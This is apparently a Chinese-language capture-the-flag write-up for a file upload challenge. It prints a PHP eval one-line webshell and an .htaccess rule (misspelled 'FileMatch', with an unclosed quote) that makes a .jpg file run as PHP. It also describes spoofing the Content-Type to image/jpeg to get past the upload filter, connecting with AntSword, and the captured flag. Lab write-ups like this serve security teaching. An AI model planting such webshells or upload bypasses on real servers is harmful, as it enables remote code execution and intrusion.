题目环境:
不难看出是一道文件上传漏洞
上传一句话木马文件
burpsuite进行抓包
<?php @eval($_POST['shell']);?>
命名为PHP文件格式
Repeater进行重放
尝试了其它后缀进行绕过都没有成功 通过 application/x-php内容类型,可以看出被识别出是PHP文件,猜测作者使用了htaccess文件更改了相关配置
了解.htaccess文件
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 注意这几个字“改变文件扩展名”,后面会用到
尝试传入jpg文件(一句话木马不变) 回显结果是否会有所不同
发现上传成功 访问上传的文件
图片加载失败 到这里猜想使用中国蚁剑是连接不成功的 不过咱们还是按照正常程序走一遍比较好
使用中国蚁剑进行连接
返回数据为空 到这里我们的一句话木马并没有被识别出来,或者说并没有执行,猜测被拦截 尝试上传更改后的.htaccess文件
上传.htaccess文件
代码语言:javascript复制<FileMatch "1.jpg>
SetHandler application/x-httpd-php
</FileMatch>
上传的一句话木马文件要和1.jpg文件名一模一样 可以把这段代码理解为,将1.jpg文件内容当作PHP文件执行
发现被拦截了,更改内容类型为image/jpeg进行绕过
更改Content-Type内容类型为:image/jpeg
.htaccess文件上传成功
再次上传1.jpg的木马文件
上传成功 访问成功 尝试使用蚁剑进行连接
使用中国蚁剑进行连接
得到flag:
flag{11711c03-702e-43ac-b1fe-fec6c5297260}